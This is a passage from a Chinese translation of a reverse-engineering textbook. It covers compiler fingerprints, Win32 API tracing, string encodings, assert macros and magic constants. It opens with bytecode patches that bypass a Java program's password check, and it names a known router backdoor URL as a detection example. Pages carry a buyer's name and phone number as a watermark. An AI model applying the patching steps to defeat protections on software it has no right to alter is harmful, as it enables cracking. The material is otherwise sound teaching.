要想把它强行改为“无条件不转移”,必须把第三个字节的改为 3(ifeq 占用 3 个字节,PC 的偏移量加 3 就是执行下一条指令): 我们把相应指令改为如图 54.5 所示的样子 。 图 54.5 IDA 结果,修改后的程序无法在 JRE 1.7 环境下正确执行。 Exception in thread "main" java.lang.VerifyError: Expecting a stackmap frame at branch target 24 Exception Details: Location: password.main([Ljava/lang/String;]V @21: ifeq Reason: Expected stackmap frame at this location. Bytecode: 0000000: b200 0212 03b6 0004 b800 05b6 0006 4c2b 0000010: 1207 b600 0899 0003 b200 0212 09b6 0004 0000020: a700 0bb2 0002 120a b600 04b1 Stackmap Table: append_frame(@35,Object[#20]) same_frame(@43) at java.lang.Class.getDeclaredMethods0(Native Method) at java.lang.Class.privateGetDeclaredMethods(Class.java:2615) at java.lang.Class.getMethod0(Class.java:2856) at java.lang.Class.getMethod(Class.java:1668) at sun.launcher.LauncherHelper.getMainMethod(LauncherHelper.java:494) at sun.launcher.LauncherHelper.checkAndLoadMain(LauncherHelper.java:486) 但是在 JRE 1.6 版本下,如此修改的程序的确可以正常运行。 笔者也尝试了“将这个 ifeq 指令的字节码直接更换成 3 个空指令 NOP”的做法。即使是这样,修改后的 程序仍然不能正常运行。大概是 JRE 1.7 的栈映射核查更为全面吧! 接下来,我们更换一种方法:把 ifeq 之前的、调用 input.equals 方法的全部指令全都替换为 NOP,把 它改为如图 54.6 所示的样子。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 618 逆向工程权威指南(下册) 图 54.6 IDA 如此修改之后,在执行到 ifeq 指令的时候栈顶的值永远是 1,因此不会满足 ifeq 的跳转条件。 试验说明,这种方法果然有效。 54.18 总结 和 C/C++语言相比,Java 语言少了些什么数据类型? ① 结构:采用类。 ② 联合:采用类继承。 ③ 无符号数据类型:这也直接导致了在 JAVA 下,实现密码算法比较困难。 ④ 函数指针。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第五 五部 部分 分 在 在代 代码 码中 中发 发现 现重 重要 要而 而有 有趣 趣的 的内 内容 容 目前的软件往往都很庞大,可以说,极简主义不是现代软件的突出特性。但是这并不是说当下的编程 者书写的程序代码行多了,而是因为很多的库都普遍与可执行文件静态地链接在一起了。如果所有的外部 库都转移至外部动态链接库 DLL 的话,那么可能情况就会有所不同(对于 C++而言,另外的一个理由是静 态模板库 STL 以及其他的模板库文件)。 因此,确定函数的来源很重要,其或者是来自标准库或者通用库(类似 Boost 和 libpng),或者是与我 们要找的代码相关。 为了找到我们要的代码而重新编写代码是有些荒唐。 对于一个反编译的工程师来说,一个主要的工作是快速地发现他要找的代码。 反编译工具 IDA 能让我们在字符串、字节串以及常数中搜索字符串。该工具甚至能将代码输出到 lst 或则 asm 文件中,进而可以采用 grep 和 awk 等命令处理字符串。 当想要知道某些代码是做什么用的时候,它可能采用一些开源的库(类似上面提到的 libpng),因此 当 你看到一些变量、常数或者字符串很熟悉时,可以用 Google 搜索一下。如果发现一个开源工程在使用时, 就可以拿来做比较。这样的话,也能解决一部分问题。 例如,如果一个程序采用了 XML 文件,第一步就需要确定采用了 XML 的哪个库来做处理过程,因为 通常都是采用的标准库或者通用库,而不是开发者自己来自行开发。 再举一个例子,在 SAP 6.0 的软件中,笔者曾经试图了解网络数据包是如何压缩并解压缩的。因为它 是一个很大的软件,一个包括调试信息在内的 PDB 文件使用起来比较方便。通过它能发现一个函数 CsDecomprLZC 被调用,而这个函数就是对网络数据包进行解压缩的。因此通过查询 Google 就能发现这个 异步社区会员 dearfuture(15918834820) 专享 尊重版权 620 逆向工程权威指南 函数是用在了 MaxDB 中,而这就是一个 SAP 的开源项目。 查询的命令是:http://www.google.com/search?q=CsDecomprLZC。 令人吃惊的是,MaxDB 和 SAP 6.0 软件在网络数据的压缩和解压缩方面采用了相同的代码。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 5555 章 章 编 编译 译器 器产 产生 生的 的文 文件 件特 特征 征 55.1 Microsoft Visual C++ MSVC 的版本和其 DLL 的对应关系如下所示。 市场发行的版本 内部版本 命令行版本 能导入的 DLL 的版本 发行日期 6 6.0 12.00 msvcrt.dll, msvcp60.dll June 1998 .NET (2002) 7.0 13.00 msvcr70.dll, msvcp70.dll February 13, 2002 .NET 2003 7.1 13.10 msvcr71.dll, msvcp71.dll April 24, 2003 2005 8.0 14.00 msvcr80.dll, msvcp80.dll November 7, 2005 2008 9.0 15.00 msvcr90.dll, msvcp90.dll November 19, 2007 2010 10.0 16.00 msvcr100.dll, msvcp100.dll April 12, 2010 2012 11.0 17.00 msvcr110.dll, msvcp110.dll September 12, 2012 2013 12.0 18.00 msvcr120.dll, msvcp120.dll October 17, 2013 msvcp*.dll 含有 C++相关函数,因此导入这些 DLL 文件的可执行程序很可能是 C++程序。 55.1.1 命名规则 名字通常都是以“?”开始的。 有关 MSVC 命名规则的详细介绍,请参考本书 51.1.1 节。 55.2 GCC 编译器 GCC 不仅可以编译*NIX 平台的应用程序,在 Cygwin 和 MinGW 环境下它同样可以编译面向 Win32 平台的应用程序。 55.2.1 命名规则 命名通常以符号“_Z”开始。 有关 GCC 命名规则的详细介绍,请参考本书 51.1.1 节。 55.2.2 Cygwin GCC 在 Cygwin 环境下编译的应用程序,通常会导入 cygwin1.dll 文件。 55.2.3 MinGW GCC 在 Cygwin 环境下编译的应用程序,可能会导入 msvcrt.dll 文件。 55.3 Intel FORTRAN 由 Intel Fortran 编译的应用程序,可能会导入以下 3 个文件: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 622 逆向工程权威指南(下册) ① Libifcoremd.dll。 ② Libifportmd.dll。 ③ Libiomp5.dll(支持 OpenMP)。 库文件 libifcoremd.dll 定义了很多以字符串“for_”开头的函数。它就是 FORTRAN 的代表性前缀。 55.4 Watcom 以及 OpenWatcom 55.4.1 命名规则 由 Watcom 编译出来的程序,其符号名称通常以“W”字母开头。 以 W?method$_class$n__v 为例:大写字母 W 开头代表它是 Watcom 编译出来的程序,方法的名称为 method,类的名称为 class,没有参数且无返回值的 void 方法会命名为: W?method$_class$n__v 55.5 Borland 编译器 下面所示的是 Borland Delphi 编译器以及 C++ Builder 的命名规范: @TApplication@IdleAction$qv @TApplication@ProcessMDIAccels$qp6tagMSG @TModule@$bctr$qpcpvt1 @TModule@$bdtr$qv @TModule@ValidWindow$qp14TWindowsObject @TrueColorTo8BitN$qpviiiiiit1iiiiii @TrueColorTo16BitN$qpviiiiiit1iiiiii @DIB24BitTo8BitBitmap$qpviiiiiit1iiiii @TrueBitmap@$bctr$qpcl @TrueBitmap@$bctr$qpvl @TrueBitmap@$bctr$qiilll 由 Borland 编译出来的程序,其符号名称必定以字符“@”开头,后面几个字母分别代表:类名称、 方法名称以及方法的参数类型。 这些符号名称可能出现在 exe 文件的输入表、dll 文件的输出表以及调试数据等地方。 VCL 的全称是 Borland Visual Component Libraries,意思是 Borland 的可视化组件库。它们保存在 bpl 文件中,而不是保存在 dll 文件中。比如说文件 vcl50.dll 和 rtl60.dll。 由 Borland 编译出来的程序还可能会导入 BORLNDMM.DLL 文件。 55.5.1 Delphi 编程语言 通过观察我们不难看出,几乎所有的 Delphi 可执行文件在代码段的起始部分都有一个“Boolean”字 符串,后面还跟着其他数据类型的类型名称。 这里列出一个非常典型的 Delphi 程序的代码段片段,它就位于 Win32 程序的 PE 头之后。 00000400 04 10 40 00 03 07 42 6f 6f 6c 65 61 6e 01 00 00 |[email protected]...| 00000410 00 00 01 00 00 00 00 10 40 00 05 46 61 6c 73 65 |[email protected]| 00000420 04 54 72 75 65 8d 40 00 2c 10 40 00 09 08 57 69 |.True.@.,[email protected]| 00000430 64 65 43 68 61 72 03 00 00 00 00 ff ff 00 00 90 |deChar..........| 00000440 44 10 40 00 02 04 43 68 61 72 01 00 00 00 00 ff |[email protected]......| 00000450 00 00 00 90 58 10 40 00 01 08 53 6d 61 6c 6c 69 |[email protected]| 00000460 6e 74 02 00 80 ff ff ff 7f 00 00 90 70 10 40 00 |nt..........p.@.| 00000470 01 07 49 6e 74 65 67 65 72 04 00 00 00 80 ff ff |..Integer.......| 00000480 ff 7f 8b c0 88 10 40 00 01 04 42 79 74 65 01 00 |[email protected]..| 00000490 00 00 00 ff 00 00 00 90 9c 10 40 00 01 04 57 6f |[email protected]| 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 55 章 编译器产生的文件特征 623 000004a0 72 64 03 00 00 00 00 ff ff 00 00 90 b0 10 40 00 |rd............@.| 000004b0 01 08 43 61 72 64 69 6e 61 6c 05 00 00 00 00 ff |..Cardinal......| 000004c0 ff ff ff 90 c8 10 40 00 10 05 49 6e 74 36 34 00 |[email protected].| 000004d0 00 00 00 00 00 00 80 ff ff ff ff ff ff ff 7f 90 |................| 000004e0 e4 10 40 00 04 08 45 78 74 65 6e 64 65 64 02 90 |[email protected]..| 000004f0 f4 10 40 00 04 06 44 6f 75 62 6c 65 01 8d 40 00 |[email protected]..@.| 00000500 04 11 40 00 04 08 43 75 72 72 65 6e 63 79 04 90 |[email protected]..| 00000510 14 11 40 00 0a 06 73 74 72 69 6e 67 20 11 40 00 |[email protected] .@.| 00000520 0b 0a 57 69 64 65 53 74 72 69 6e 67 30 11 40 00 |..WideString0.@.| 00000530 0c 07 56 61 72 69 61 6e 74 8d 40 00 40 11 40 00 |..Variant.@.@.@.| 00000540 0c 0a 4f 6c 65 56 61 72 69 61 6e 74 98 11 40 00 |..OleVariant..@.| 00000550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000560 00 00 00 00 00 00 00 00 00 00 00 00 98 11 40 00 |..............@.| 00000570 04 00 00 00 00 00 00 00 18 4d 40 00 24 4d 40 00 |.........M@.$M@.| 00000580 28 4d 40 00 2c 4d 40 00 20 4d 40 00 68 4a 40 00 |(M@.,M@. [email protected]@.| 00000590 84 4a 40 00 c0 4a 40 00 07 54 4f 62 6a 65 63 74 |[email protected]@..TObject| 000005a0 a4 11 40 00 07 07 54 4f 62 6a 65 63 74 98 11 40 |[email protected]..@| 000005b0 00 00 00 00 00 00 00 06 53 79 73 74 65 6d 00 00 |........System..| 000005c0 c4 11 40 00 0f 0a 49 49 6e 74 65 72 66 61 63 65 |[email protected]| 000005d0 00 00 00 00 01 00 00 00 00 00 00 00 00 c0 00 00 |................| 000005e0 00 00 00 00 46 06 53 79 73 74 65 6d 03 00 ff ff |....F.System....| 000005f0 f4 11 40 00 0f 09 49 44 69 73 70 61 74 63 68 c0 |[email protected].| 00000600 11 40 00 01 00 04 02 00 00 00 00 00 c0 00 00 00 |.@..............| 00000610 00 00 00 46 06 53 79 73 74 65 6d 04 00 ff ff 90 |...F.System.....| 00000620 cc 83 44 24 04 f8 e9 51 6c 00 00 83 44 24 04 f8 |..D$...Ql...D$..| 00000630 e9 6f 6c 00 00 83 44 24 04 f8 e9 79 6c 00 00 cc |.ol...D$...yl...| 00000640 cc 21 12 40 00 2b 12 40 00 35 12 40 00 01 00 00 |.!.@[email protected].@....| 00000650 00 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 |................| 00000660 46 41 12 40 00 08 00 00 00 00 00 00 00 8d 40 00 |FA.@..........@.| 00000670 bc 12 40 00 4d 12 40 00 00 00 00 00 00 00 00 00 |[email protected].@.........| 00000680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000690 bc 12 40 00 0c 00 00 00 4c 11 40 00 18 4d 40 00 |[email protected][email protected]@.| 000006a0 50 7e 40 00 5c 7e 40 00 2c 4d 40 00 20 4d 40 00 |P~@.\~@.,M@. M@.| 000006b0 6c 7e 40 00 84 4a 40 00 c0 4a 40 00 11 54 49 6e |[email protected]@[email protected]| 000006c0 74 65 72 66 61 63 65 64 4f 62 6a 65 63 74 8b c0 |terfacedObject..| 000006d0 d4 12 40 00 07 11 54 49 6e 74 65 72 66 61 63 65 |[email protected]| 000006e0 64 4f 62 6a 65 63 74 bc 12 40 00 a0 11 40 00 00 |dObject..@...@..| 000006f0 00 06 53 79 73 74 65 6d 00 00 8b c0 00 13 40 00 |..System......@.| 00000700 11 0b 54 42 6f 75 6e 64 41 72 72 61 79 04 00 00 |..TBoundArray...| 00000710 00 00 00 00 00 03 00 00 00 6c 10 40 00 06 53 79 |[email protected]| 00000720 73 74 65 6d 28 13 40 00 04 09 54 44 61 74 65 54 |stem([email protected]| 00000730 69 6d 65 01 ff 25 48 e0 c4 00 8b c0 ff 25 44 e0 |ime..%H......%D.| 数据段(DATA)的头四个字节通常是以下三个组合中的一个任意一个:00 00 00 00、32 13 8B C0 或 者 FF FF FF FF。在处理被压缩或者被加密的 Dephi 可执行文件时,这组常数就会具有指标性意义。 55.6 其他的已知 DLL 文件  Vcomp*.dll。微软用来实现 OpenMP 的文件。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 5566 章 章 W Wiinn3322 环 环境 境下 下与 与外 外部 部通 通信 信 在了解函数的输入和输出的情况下,我们基本可以判断出函数的具体功能。这种分析方法能够显著地 节省分析时间。 如需关注文件和注册表层面的行为,使用 SysInternals 的 Process Monitor 即可,它可以给我们提供关 于以上这两者的基本信息。 如需查看网络层面的通信数据,完全可以使用 Wireshark 这类软件。 然而要进一步分析行为级数据,就得深入程序内部挖掘指令层面的信息。 首先就要调查该程序调用的操作系统 API 和标准库函数。 如果目标程序由可执行文件和多个 DLL 文件构成,那么由这些 DLL 文件所提供的、可调用的函数名 称就很有指标性意义。 如果我们只关心那些调用 MessageBox()、显示特定文字的指令,我们可以在程序的数据段检索文本字 符,找到引用这个字符串的指令,再顺藤摸瓜地找到那些调用既定 MessageBox()函数的代码。 在分析电脑游戏时,如果可以确定特定关卡里出现的敌人总数是随机数,那么我们可以在代码中查找 rand()函数或者类似的随机数生成函数(例如梅森旋转算法),继而找到这些函数的调用指令,最终调整程 序里使用随机数的那些指令。本书 75 章演示了这种分析实例。 那些电脑游戏以外的、仍然调用 rand()函数的程序就更值得关注了。令人感到吃惊的是,某些著名软 件采用的数据压缩算法(加密机制)都调用了 rand()函数。有兴趣的读者可参阅 https://yurichev.com/blog/44/。 56.1 在 Windows API 中最经常使用的函数 这里列出了一些最常使用的 API 函数。需要特别说明的是,这些函数可能不是由程序源代码直接调用 的。在程序调用库函数或者调用 CRT 的时候,下述函数可能会被后者间接调用。  注册表的操作可以通过库文件 advspi32.dll 的如下功能实现:RegEnumKeyEx、RegEnumValue、 RegGetValue、RegOpenKeyEx 和 RegQueryValueEx。  对类似 ini 的文本文件可以通过库文件 user32.dll 的如下函数实现:GetPrivateProfileString。  对话窗的操作通过库文件user32.dll 的如下函数实现:MessageBoxEx、SetDlgItemText 及GetDlgItemText。  对资源的操作(可以参考本书的 68.2.8 节)通过库文件 user32.dll 的函数 LoadMenu 实现。  对 TCP/IP 网络的操作是通过库文件 ws2_32.dll 的如下函数实现:WSARecv 和 WSASend。  对文件的操作是通过库文件 kernel32.dll 的如下函数实现相应的操作:CreateFile、ReadFile、 ReadFileEx、WriteFile 及 WriteFileEx 等。  访问 Internet 是通过库文件 wininet.dll 的 WinHttpOpen 等函数来实现相关功能的。  检查一个可执行文件是否含有数字签名则是通过库文件wintrust.dll的函数WinVerifyTrust 等来实现的。  如果是动态链接的话,标准的MSVC 库文件msvcr*.dll 是通过以下函数实现相关操作的:assert、itoa、ltoa、 open、printf、read、strcmp、atol、atoi、fopen、fread、fwrite、memcmp、rand、strlen、strstr 以及 strchr。 56.2 tracer:解析指定模块的所有函数 在调试程序时,tracer 会给目标程序设置很多 INT3 断点。虽然这种类型的断点只能运行一次,但是它 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 56 章 Win32 环境下与外部通信 625 同样可以用截获特定 DLL 文件的所有函数。 一个典型的使用例子为: --one-time-INT3-bp:somedll.dll!.* 如果要在调用所有以 xml 开头的函数之前设置 INT 3 断点,那么可以采用命令: --one-time-INT3-bp:somedll.dll!xml.* 稍显遗憾的是,这些断点只能触发一次。 如果程序执行到函数断点且成功发生中断,tracer 就会显示该函数的调用信息,只是它只能显示一次。 另外一个美中不足的地方是,tracer 不能查看被调用方函数获取的外来参数。 无论如何,tracer 的这项功能还是非常有用的。一个 DLL 文件通常会定义大量的函数。当我们知道既 定程序调用了某个的 DLL 文件、想要确切知道它调用了 DLL 里的哪些函数的时候,我们就特别需要这样 的一款工具。 举例来讲,我们可以使用 tracer 给 cygwin 的程序 uptime.exe 设置断点,看它调用了哪些系统函数: tracer -l:uptime.exe --one-time-INT3-bp:cygwin1.dll!.* 这样一来,我们就可以看到它调用了 cygwin1.dll 的哪些库函数(虽然只会显示一次)以及调用指令的 地偏移量信息: One-time INT3 breakpoint: cygwin1.dll!__main (called from uptime.exe!OEP+0x6d (0x40106d)) One-time INT3 breakpoint: cygwin1.dll!_geteuid32 (called from uptime.exe!OEP+0xba3 (0x401ba3)) One-time INT3 breakpoint: cygwin1.dll!_getuid32 (called from uptime.exe!OEP+0xbaa (0x401baa)) One-time INT3 breakpoint: cygwin1.dll!_getegid32 (called from uptime.exe!OEP+0xcb7 (0x401cb7)) One-time INT3 breakpoint: cygwin1.dll!_getgid32 (called from uptime.exe!OEP+0xcbe (0x401cbe)) One-time INT3 breakpoint: cygwin1.dll!sysconf (called from uptime.exe!OEP+0x735 (0x401735)) One-time INT3 breakpoint: cygwin1.dll!setlocale (called from uptime.exe!OEP+0x7b2 (0x4017b2)) One-time INT3 breakpoint: cygwin1.dll!_open64 (called from uptime.exe!OEP+0x994 (0x401994)) One-time INT3 breakpoint: cygwin1.dll!_lseek64 (called from uptime.exe!OEP+0x7ea (0x4017ea)) One-time INT3 breakpoint: cygwin1.dll!read (called from uptime.exe!OEP+0x809 (0x401809)) One-time INT3 breakpoint: cygwin1.dll!sscanf (called from uptime.exe!OEP+0x839 (0x401839)) One-time INT3 breakpoint: cygwin1.dll!uname (called from uptime.exe!OEP+0x139 (0x401139)) One-time INT3 breakpoint: cygwin1.dll!time (called from uptime.exe!OEP+0x22e (0x40122e)) One-time INT3 breakpoint: cygwin1.dll!localtime (called from uptime.exe!OEP+0x236 (0x401236)) One-time INT3 breakpoint: cygwin1.dll!sprintf (called from uptime.exe!OEP+0x25a (0x40125a)) One-time INT3 breakpoint: cygwin1.dll!setutent (called from uptime.exe!OEP+0x3b1 (0x4013b1)) One-time INT3 breakpoint: cygwin1.dll!getutent (called from uptime.exe!OEP+0x3c5 (0x4013c5)) One-time INT3 breakpoint: cygwin1.dll!endutent (called from uptime.exe!OEP+0x3e6 (0x4013e6)) One-time INT3 breakpoint: cygwin1.dll!puts (called from uptime.exe!OEP+0x4c3 (0x4014c3)) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 5577 章 章 字 字 符 符 串 串 57.1 字符串 57.1.1 C/C++中的字符串 在 C/C++中,常规字符串都是以 0 字节结尾的 ASCII 字符串,因此又称 ASCIIZ 字符串。 这是历史上硬件局限性决定的。在参考书目【Rit79】中,我们可以看到以下说明: I/O 操作的最小单位是 word 而不是 byte。毕竟 PDP-7 是一种以字为单位寻址的设备。字和字节的 差异性在这方面的唯一影响就是:处理字符串的程序必须要忽略字符串中的 Null 字符,因为在构造字 符串的时候必须使用 null 字节将字符串凑成偶数个字节、形成 word 字。 在 Hiew 或者 FAR Manager 中,下述程序的字符串在可执行文件中会如图 57.1 所示: int main() { printf ("Hello, world!\n"); }; 图 57.1 Hiew 57.1.2 Borland Delphi 如指令清单 57.1 所示,在 Pascal 及 Borland Delphi 编译的可执行程序中,字符串之前都会有一个声明 字符串长度的 8 位/32 位数据。 指令清单 57.1 Delphi CODE:00518AC8 dd 19h CODE:00518ACC aLoading___Plea db 'Loading... , please wait.',0 ... CODE:00518AFC dd 10h CODE:00518B00 aPreparingRun__ db 'Preparing run...',0 57.1.3 Unicode 编码 多数人认为,所谓 Unicode 编码就是用两个字节/16 位数据来编码一个字符的字符封装格式。实际上这 是一种常见的术语理解错误。Unicode 实际上是一个标准,它规定的只是将一个数字写成字符的方法,但 是没有定义具体的编码方式。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 57 章 字 符 串 627 而目前比较流行的编码方式有 UTF-8 和 UTF-16LE。前者广泛被利用在互联网和*NIX 系统中,而后者 主要使用在 Windows 环境下。 UTF-8 UTF-8 是目前使用最广泛也最成功的字符编码方法之一。所有的拉丁字符都像 ASCII 码一样进行编码, ASCII 码表以外的字符则采用多字节来编码。因为 0 的作用不变,所以所有的标准 C 字符串函数都能正确 处理包括 UTF-8 编码在内的所有字符串。 下面我们通过一个对照表来看看不同语言下的 UTF-8 的对比显示情况,采用的工具是 FAR,代码页是 437。 如图 57.2 所示。 图 57.2 FAR UTF-8 从以上的对照,我们可以清楚地看到,只有英文的字符串看起来和 ASCII 表中的完全一样。匈牙利语 言使用一些拉丁字符以及音节分隔标记来表示。这些符号使用多个字节来编码,我们这里采用了红色的下 画线表示。从这个表,我们还可以看到爱尔兰语和波兰语也采用了同样的办法。而这个字符串对比的开始 处,我们采用了一个欧元符号,它是用三个字节表示的。其余的系统与拉丁文没有关系。至少在俄语、阿 拉伯语、希伯来语以及北印度语中,我们会发现其中一个字节是反复出现的,这也不奇怪:一个语言系统 中的字符往往是在 Unicode 表中的相同位置处,因此它们的代码总是以系统的数字打头。 在最开始,也就是在第一个可见字符串“How much?”之前,我们会看到还有三个字节,实际上它们 是字节顺序标记(Byte order mark,BOM)。BOM 声明了字符串的编码系统。 UTF-16LE 很多 Windows 系统下的 win32 函数有-A 和-W 后缀。前面这种函数用于处理常规字符串,而后面这种 带有-w 的函数则是 UTF-16LE 字符串的专用函数(w 代表 wide)。 在 UTF-16 字符串的拉丁符号中,我们用工具 Hiew 或者 FAR 可以看到,这些字符都被字节 0 间隔开 了,如图 57.3 所示。 程序如下所示。 int wmain() { wprintf (L"Hello, world!\n"); }; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 628 逆向工程权威指南(下册) 而在 Windows NT 系统中,我们可以经常看到的显示如图 57.4 所示。 图 57.3 Hiew 图 57.4 Hiew 在 IDA 的提示信息中,严格采用双字节对单字符编码的编码方式称为 Unicode。 例如: .data:0040E000 aHelloWorld: .data:0040E000 unicode 0, <Hello, world!> .data:0040E000 dw 0Ah, 0 而图 57.5 所示的则是俄语的字符串,它采用的是 UTF-16LE 编码方式。 我们比较容易分辨的是这些字符被星型的字符分 割,而这个星型字符的 ASCII 值是 4。实际上,西里尔 字母位于 Unicode 表的第 4 映射区,因此所有的西里尔 字母在 UTF-16LE 中的编码范围是 0x400~0x4ff。详情请 参考 https://en.wikipedia.org/wiki/Cyrillic_(Unicode_block) 再回过头来看看我们上面列出的一个显示多语言字符 串的例子。图 57.6 所示的是其在 UTF-16LE 编码方式下的样子。 图 57.6 采用工具软件 FAR,编码格式为 UTF-16LE 从以上图中我们可以看到,字节分割符 BOM 位于文件的开头,而所有的拉丁字母都用字节零来分割。 一些带读音分割标志的字符(主要是匈牙利语和爱尔兰语)也采用红色的下划线标出来了。 57.1.4 Base64 Base64 编码十分流行,是把二进制数据转换为文本字符串的常用标准。本质上说,这种算法用 4 个可 显示字符封装 3 个二进制字节。它的字符集包括 26 个拉丁字母(含大小写)、0~9 共 10 个数字、加号“+” 图 57.5 Hiew 工具,编码方式 UTF-16LE 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 57 章 字 符 串 629 及反斜杠“/”,总共 64 个字符。 Base64 编码的一个显著特征是它通常(但不一定)以 1 到 2 个等号“=”为结尾。 比如说以下两个 Base64 编码: AVjbbVSVfcUMu1xvjaMgjNtueRwBbxnyJw8dpGnLW8ZW8aKG3v4Y0icuQT+qEJAp9lAOuWs= WVjbbVSVfcUMu1xvjaMgjNtueRwBbxnyJw8dpGnLW8ZW8aKG3v4Y0icuQT+qEJAp9lAOuQ== 可以肯定的是,等号“=”绝不会出现在 Base64 编码字符串的中间。 57.2 错误/调试信息 对于逆向分析来说,程序中的调试信息都很重要。在某种程度上,调试信息能报告程序正在运行的状 态。调试信息通常会由 printf()一类的函数显示出来,或者被输出到日志文件中。但是在 release/发行版、而 非 debug/测试版的软件中,即使有关指令调用了相关调试函数、也不会有任何实质性的输出内容。如果调 试信息的转储数据中含有局部变量或者全局变量的信息,那么逆向工程人员就算赚到了—我们至少知道 了变量的名称。比如说,我们可以通过转储信息确定 Oracle RDBMS 有一个函数叫做 ksdwrt()。 内容可自然解释的字符串通常是逆向分析的重点。IDA 反编译器可以显示出字符串的调用方函数和调 用指令。数量掌握这种分析之后,您可能会找到一些有趣的东西(可以参考 https://yurichev.com/blog/32/)。 错误信息有时也很重要。Oracle RDBMS 构造了一系列函数专门处理错误信息。有兴趣的读者可以访 问 https://yurichev.com/blog/43/了解详细信息。 多数情况下,我们能够迅速判断出汇报错误的函数以及引发它们报错的具体条件。有意思的是,正因 如此,一些注重版权保护的程序会刻意在程序出错的时候临时调整错误信息或错误代码。毕竟,开发人员 不会希望别人马上就能摸清他的防盗版措施。 本书的 78.2 节就演示了一个对错误信息加密的程序。 57.3 可疑的魔数字符串 一些经常被用在后门程序中的魔数字符串看起来就很可疑。比如说,我们注意到一个关于 TP-Link WR740 家用路由器存在后门的报道(参见 http://sekurak.pl/tp-link-httptftp-backdoor/)。只有当他人访问下述 URL 时,才会触发这个后门: http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html。 事实上,字符串 userRpmNatDebugRpm26525557 必定存在于固件中的某个文件。然而在这个后门东窗 事发之前,Google 搜索不到任何信息,当然这个后门被曝光后的情况完全相反。像这种后门类的字符串, 查遍 RFC 资料你也找不到它。再怎么调整字节序,它也不会和科学算法沾边。它也绝不是错误信息或者调 试信息。因此,尽快地定位类似这个的可疑字符串是一个好主意。 字符串通常采用 Base64 编码。因此把文件中的字符串全都进行解码处理,再扫一眼就知道哪个文件含 有这个字符串了。 更准确来讲,这种隐藏后门的办法被称为“不公开即安全(security through obscurity)”,也就是见光死。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 5588 章 章 调 调用 用宏 宏 aasssseerrtt(())( (中 中文 文称 称为 为断 断言 言) ) 一般来讲,assert()宏在可执行文件中保留了源代码的文件名、行数以及执行条件。 最有价值的信息是 assert()宏的执行条件。我们可以通过它们来推断出变量名或者结构体的字段名称。 另外一个有用的信息是文件名,通过它我们可以推断出源代码是采用什么语言编写的。同时我们还可能通 过文件名来识别出其是否采用了知名的开放源代码库。 指令清单 58.1 调用 assert()宏的例子 . text:107D4B29 mov dx, [ecx+42h] .text:107D4B2D cmp edx, 1 .text:107D4B30 jz short loc_107D4B4A .text:107D4B32 push 1ECh .text:107D4B37 push offset aWrite_c ; "write.c" .text:107D4B3C push offset aTdTd_planarcon ; "td->td_planarconfig == PLANARCONFIG_CON"... .text:107D4B41 call ds:_assert ... .text:107D52CA mov edx, [ebp-4] .text:107D52CD and edx, 3 .text:107D52D0 test edx, edx .text:107D52D2 jz short loc_107D52E9 .text:107D52D4 push 58h .text:107D52D6 push offset aDumpmode_c ; "dumpmode.c" .text:107D52DB push offset aN30 ; "(n & 3) == 0" .text:107D52E0 call ds:_assert ... .text:107D6759 mov cx, [eax+6] .text:107D675D cmp ecx, 0Ch .text:107D6760 jle short loc_107D677A .text:107D6762 push 2D8h .text:107D6767 push offset aLzw_c ; "lzw.c" .text:107D676C push offset aSpLzw_nbitsBit ; "sp->lzw_nbits <= BITS_MAX" .text:107D6771 call ds:_assert 最简单的分析方法就是用 google 来搜索条件和文件名。搜索结果显示这与开源的库文件有关。比如 说,搜索字符串“sp->lzw_nbits <= BITS_MAX”,我们就它与压缩算法 LZW 的开源代码相关。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 5599 章 章 常 常 数 数 人类在现实生活中喜欢使用整数。编程人员也是人,他们同样喜欢用 10、100、1000 这样的整数。 熟悉的反编译工程师都会明白,与之对应的十六进制数的关系是:10=0xA;100=0x64;1000=0x3E8 而 10000=0x2710。然而,在二进制层面这些数字都不算太“整”。 从二进制层面来看,更为常用的整数则是 0xAAAAAAAA(1010101010101010)和 0x55555555 (0101010101010101)这类特征明显的常量。以常数 0x55AA 为例:引导扇区、主引导扇区 MBR 以及 IBM 兼容扩展卡的 ROM(只读存储单元)等关键数据都会使用这个常量。 一些算法,特别是某些加密算法,常常使用某些特殊的常数,如果我们使用调试工具 IDA 就能很容易 发现这一点。 以 MD5 算法为例,其内部变量初始值分别是: var int h0 := 0x67452301 var int h1 := 0xEFCDAB89 var int h2 := 0x98BADCFE var int h3 := 0x10325476 也就是说,如果某段代码连续出现了上述四个常量,那么这段代码很可能就与 MD5 的算法相关。 而另外的例子则是 CRC16/32 的算法,其预置的常数表经常如下所示。 指令清单 59.1 Linux/Lib/crc16.c /** CRC table for the CRC-16. The poly is 0x8005 (x^16 + x^15 + x^2 + 1) */ u16 const crc16_table[256] = { 0x0000, 0xC0C1, 0xC181, 0x0140, 0xC301, 0x03C0, 0x0280, 0xC241, 0xC601, 0x06C0, 0x0780, 0xC741, 0x0500, 0xC5C1, 0xC481, 0x0440, 0xCC01, 0x0CC0, 0x0D80, 0xCD41, 0x0F00, 0xCFC1, 0xCE81, 0x0E40, … 如需详细了解 CRC32 算法,请参考本书的第 37 章。 59.1 魔数 很多文件在文件头使用特定的魔数来表示其文件格式,这些魔数可以是一个字节或者多个字节的 组合(https://en.wikipedia.org/wiki/Magic_number_(programming))。 比如,我们熟知的,所有的 Win32 以及 MS-DOS 格式的可执行文件的开始处总是“MZ”这两个字符。 而在标准的 MIDI 文件则必须以“MThd”这 4 个字符开头。因此,那些需要使用 MIDI 文件的程序, 基本上都会检测目标文件的头 4 个字符是不是“MThd”。如 果用程序来表示,则可能是下面这个样子的: (注意:buf 是内存缓冲区的起始地址) cmp [buf], 0x6468544D ; "MThd" jnz _error_not_a_MIDI_file 